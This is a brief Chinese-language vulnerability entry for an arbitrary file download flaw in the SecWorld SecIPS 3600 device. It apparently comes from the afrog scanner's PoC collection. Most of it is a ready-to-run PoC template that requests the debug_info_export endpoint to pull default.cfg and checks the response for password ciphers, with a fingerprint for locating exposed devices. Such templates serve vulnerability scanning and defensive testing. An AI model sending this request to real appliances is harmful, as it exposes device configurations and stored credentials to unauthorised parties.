secworld-secips-3600-debuginfo-readfile: 网神 SecIPS 3600 debug_info_export 任意文件下载

漏洞描述

网神 SecIPS 3600 debug_info_export接口存在任意文件下载漏洞，攻击者通过漏洞可以获取服务器敏感文件 app="网神-SecIPS"

PoC代码[已公开]

id: secworld-secips-3600-debuginfo-readfile

info:
  name: 网神 SecIPS 3600 debug_info_export 任意文件下载
  author: zan8in
  severity: high
  verified: false
  description: |
    网神 SecIPS 3600 debug_info_export接口存在任意文件下载漏洞，攻击者通过漏洞可以获取服务器敏感文件
    app="网神-SecIPS"

rules:
  r0:
    request:
      method: GET
      path: /webui/debug/debug_info_export?filename=default.cfg
    expression: response.status == 200 && response.body.bcontains(b'user audit type') && response.body.bcontains(b'password cipher')
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/secworld-secips-3600-debuginfo-readfile.yaml